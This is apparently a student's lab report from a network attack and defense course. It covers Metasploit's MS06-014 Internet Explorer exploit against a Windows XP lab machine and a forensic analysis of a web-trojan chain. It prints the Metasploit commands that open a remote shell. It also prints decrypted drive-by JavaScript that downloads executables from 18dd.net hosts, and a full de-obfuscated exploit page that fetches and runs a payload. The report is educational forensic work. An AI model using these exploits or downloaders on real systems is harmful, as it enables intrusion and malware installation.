20212901 薛德凡2021-2022-2 《网络攻防实践》第十一次作业
[20212901 薛德凡2021-2022-2 《网络攻防实践》第十一次作业 ]
一、实践内容
-
-
(1)web浏览器渗透攻击
任务:**使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
实验步骤:
①选择使用Metasploit中的MS06-014渗透攻击模块
②选择PAYLOAD为任意远程Shell连接
③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本
④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL
⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令
(2)取证分析实践网页木马攻击场景分析
实践过程:
①首先你应该访问start.html,在这个文件中给出了new09.htm的地址,
②在进入htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。
③如果解密出的地址给出的是网页或脚本文件,请继续解密。
④如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。
⑤重复以上过程直到这些文件被全部分析完成。
(3)****攻防对抗实践—web浏览器渗透攻击攻防
攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
-
二、实验相关知识
1、木马病毒是指隐藏在正常程序中的一段具有特殊功能的恶意代码,是具备破坏和删除文件、发送密码、记录键盘和攻击Dos等特殊功能的后门程序。木马病毒其实是计算机黑客用于远程控制计算机的程序,将控制程序寄生于被控制的计算机系统中,里应外合,对被感染木马病毒的计算机实施操作。一般的木马病毒程序主要是寻找计算机后门,伺机窃取被控计算机中的密码和重要文件等。可以对被控计算机实施监控、资料修改等非法操作。木马病毒具有很强的隐蔽性,可以根据黑客意图突然发起攻击。
木马病毒通常是基于计算机网络的,是基于客户端和服务端的通信、监控程序。客户端的程序用于黑客远程控制,可以发出控制命令,接收服务端传来的信息。服务端程序运行在被控计算机上,一般隐藏在被控计算机中,可以接收客户端发来的命令并执行,将客户端需要的信息发回,也就是常说的木马程序。 [1]
木马病毒可以发作的必要条件是客户端和服务端必须建立起网络通信,这种通信是基于IP地址和端口号的。藏匿在服务端的木马程序一旦被触发执行,就会不断将通信的IP地址和端口号发给客户端。客户端利用服务端木马程序通信的IP地址和端口号,在客户端和服务端建立起一个通信链路。客户端的黑客便可以利用这条通信链路来控制服务端的计算机。
运行在服务端的木马程序首先隐匿自己的行踪,伪装成合法的通信程序,然后采用修改系统注册表的方法设置触发条件,保证自己可以被执行,并且可以不断监视注册表中的相关内容。发现自己的注册表被删除或被修改,可以自动修复。
2、网页挂马指的是把一个木马程序上传到一个网站里面然后用木马生成器生一个网马,再上到空间里面!再加代码使得木马在打开网页时运行!
常见方式:
1.将木马伪装为页面元素。木马则会被浏览器自动下载到本地。
2.利用脚本运行的漏洞下载木马
3.利用脚本运行的漏洞释放隐含在网页脚本中的木马
4.将木马伪装为缺失的组件,或和缺失的组件捆绑在一起(例如:flash播放插件)。这样既达到了下载的目的,下载的组件又会被浏览器自动执行。
5.通过脚本运行调用某些com组件,利用其漏洞下载木马。
6.在渲染页面内容的过程中利用格式溢出释放木马(例如:ani格式溢出漏洞)
7.在渲染页面内容的过程中利用格式溢出下载木马(例如:flash9.0.115的播放漏洞)
三、实验内容
实践1、web浏览器渗透攻击
主机 | IP |
---|---|
Kali | 192.168.200.11 |
windows xp professional | 192.168.200.12 |
kali与 Winxp的IP如下图所示
测试kali和windows xp之间的连通性
在kali中利用命令sudo msfconsole
进入Metasploit
使用命令search MS06-014
寻找Metasploit中的MS06-014漏洞
利用命令use exploit/windows/browser/ie_createobject
使用查询到的模块进行攻击
利用命令set payload windows/shell/bind_tcp
选中本次攻击使用的payload,并利用命令set lhost 192.168.200.11
设置攻击者的ip,set SRVPORT 80
与set URIPATH /
设置实验的参数
利用命令show options
查看是否正确设置好参数
利用命令exploit
发动攻击
在Winxp中打开浏览器,输入攻击时构建的ip地址192.168.200.11,得到结果如下
利用命令sessions 1提取一个会话,可以发现进入了winxp的shell,输入ipconfig可以得到相同反馈,攻击成功。
实践2、取证分析实践—网页木马攻击场景分析
在start.html文件中查找new09.html的相关信息,发现在start.html文件中包含两处信息有new09,分析得到new09.htm与start.html是文件在同一个目录下
在new09文件中可以发现分别引用了一个 http://aa.18dd.net/aa/kl.htm
文件和另一个一个http://js.users.51.la/1299644.js
文件
分别求两者对应的MD5值得到结果分别为MD5(http://aa.18dd.net/aa/kl.htm,32) = 7f60672dcd6b5e90b6772545ee219bd3
MD5(http://js.users.51.la/1299644.js,32) = 23180a42a2ff1192150231b44ffdf3d3
从群里的压缩文件中找到对应的两个文件第一个文件中显示不是木马
因此该文件为目标文件
由文件中标注的t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'))
可以分析得到,其中的字符是通过XXTEA+Base64加密的,而t则代表对应的加密密钥
在十六进制转文本字符串的网站中输入对应的加密密钥\x73\x63\x72\x69\x70\x74
可以得到密钥为script
利用得到的密钥script对文本中的内容进行解密可以得到结果为:
在十六进制转换为字符的在线网站中输入上文中引号的内容
解密内容为,可以发现其中主要包含的漏洞为:微软数据库访问对象“Adodb.Stream”、暴风影音“MPS.StormPlayer”、PPStream POWERPLAYER.PowerPlayerCtrl.1”和百度搜霸“BaiduBar.Tool”,其中还包含了三个js文件和一个压缩包
function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}
利用计算三个js文件以及压缩文件对应的md5值
文件:http://aa.18dd.net/aa/1.js MD5值:5d7e9058a857aa2abee820d5473c5fa4
文件:http://aa.18dd.net/aa/b.js MD5值:3870c28cc279d457746b3796a262f166
文件:http://aa.18dd.net/aa/pps.js MD5:5f0b8bf0385314dbe0e5ec95e6abedc2
文件:http://down.18dd.net/bb/bd.cab MD5值1c1d7b3539a617517c49eee4120783b2
在同学提供的压缩文件中找到对应的文件:5d7e9058a857aa2abee820d5473c5fa4
将其中十六进制转化后得到,分析得到本处下载了014.exe文件,并且在后续利用了ADODB
漏洞
接下来打开3870c28cc279d457746b3796a262f166
文件,分析得到该文件使用了packed加密
在http://matthewfl.com/unPacker.html网址进行解密,可以发现其中包含shellcode
需要寻找对应的URP,分析得到URL地址为http://down.18dd.net/bb/bf.exe
打开5f0b8bf0385314dbe0e5ec95e6abedc2
文件,该文件采用8进制的加密方法
将该文件解密后得到如下结果,发现其中同样包含一个URL:http://down.18dd.net/bb/pps.exe
打开最后一个文件1c1d7b3539a617517c49eee4120783b2,发现是一个压缩文件其中包含一个bd.exe
文件
接下来对得到的连接计算相应的MD5值:
URL | MD5值 |
---|---|
http://down.18dd.net/bb/014.exe | ca4e4a1730b0f69a9b94393d9443b979 |
http://down.18dd.net/bb/bf.exe | 268cbd59fbed235f6cf6b41b92b03f8e |
http://down.18dd.net/bb/pps.exe | ff59b3b8961f502289c1b4df8c37e2a4 |
在资源中找到对应的文件,可以发现四个文件的大小相同
并且在kali中计算上述文件对应的md5值,发现结果一摸一样,那么可以推测四个文件的内容一摸一样
在IDA反汇编中打开四个文件中的一个
其中包含从各种URL下载各种木马
其中包含允许
,允许执行
等等表明该程序能够避免系统对其的一些防护。
实践3、攻防对抗实践—web浏览器渗透攻击攻防
攻击方:与实践1类似过程,同样的利用MS06-014漏洞
输入sessions 1得到与靶机相同的ip
防守方
进入攻击机网页后,查看网页源代码,发现其中包含大量的空格,换行等等。该操作能够有效避开杀毒软件的检查
将http://www.esjson.com/htmlformat.html 网站中将多余的空格和回车删去,得到结果如下
<html><head><title></title><script language="javascript">function WjGmpxQWK(o,n){var r=null;try{eval("r=o.CreateObject(n)")}catch(e){}if(!r){try{eval("r=o.CreateObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.CreateObject(n,'','')")}catch(e){}}if(!r){try{eval("r=o.GetObject('',n)")}catch(e){}}if(!r){try{eval("r=o.GetObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.GetObject(n)")}catch(e){}}return(r)}function xazfTikaKavZCQqAws(a){var s=WjGmpxQWK(a,"WScript.Shell");var o=WjGmpxQWK(a,"ADODB.Stream");var e=s.Environment("Process");var url=document.location+'/payload';var xml=null;var bin=e.Item("TEMP")+"\\NYtJBYzKZMfpBqpjuPPoJYlcBqHBQ.exe";var dat;try{xml=new XMLHttpRequest()}catch(e){try{xml=new ActiveXObject("Microsoft.XMLHTTP")}catch(e){xml=new ActiveXObject("MSXML2.ServerXMLHTTP")}}if(!xml){return(0)}xml.open("GET",url,false);xml.send(null);dat=xml.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0)}function pQdVthHNBnYKlBnLtRBuROV(){var i=0;var t=new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}','{BD96C556-65A3-11D0-983A-00C04FC29E30}','{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}','{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}','{6414512B-B978-451D-A0D8-FCFDF33E833C}','{06723E09-F4C2-43c8-8358-09FCD1DB0766}','{639F725F-1B2D-4831-A9FD-874847682010}','{BA018599-1DB3-44f9-83B4-461454C84BF8}','{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}','{E8CCCDDF-CA28-496b-B050-6C07C962476B}','{AB9BCEDD-EC7E-47E1-9322-D4A210617116}','{0006F033-0000-0000-C000-000000000046}','{0006F03A-0000-0000-C000-000000000046}',null);while(t[i]){var a=null;if(t[i].substring(0,1)=='{'){a=document.createElement("object");a.setAttribute("classid","clsid:"+t[i].substring(1,t[i].length-1))}else{try{a=new ActiveXObject(t[i])}catch(e){}}if(a){try{var b=WjGmpxQWK(a,"WScript.Shell");if(b){xazfTikaKavZCQqAws(a);return(0)}}catch(e){}}i++}}</script></head><body onload='pQdVthHNBnYKlBnLtRBuROV()'>LTtAgiEkvvFamehMUPjh</body></html>
其中我们可以发现,代码中包含了payload,并且在后续加载了文件,分析该文件就是攻击者用于攻击的exe
打开任务管理器可以发现其上述NYtJBYzKZMfpBqpjuPPoJYlcBqHBQ.exe
文件正在运行
通过查询Array后续的数字,可以分析得到攻击者利用的是MS06014漏洞
四、学习中遇到的问题及解决
问题1:十六进制转化为字符串的过程中转化出乱码
问题1解决方案:十六进制中缺少了一个\直接导致转换结果错误,添加\后解决了问题。
五、实践总结
本次实验难度很大,主要是web部分的渗透攻击以及木马攻击部分,非常感谢同学在群里提供的资源(很大程度上帮助了实验的进展),在很多地方都运用到了MD5,Hash等,对网络安全知识的运用非常广泛。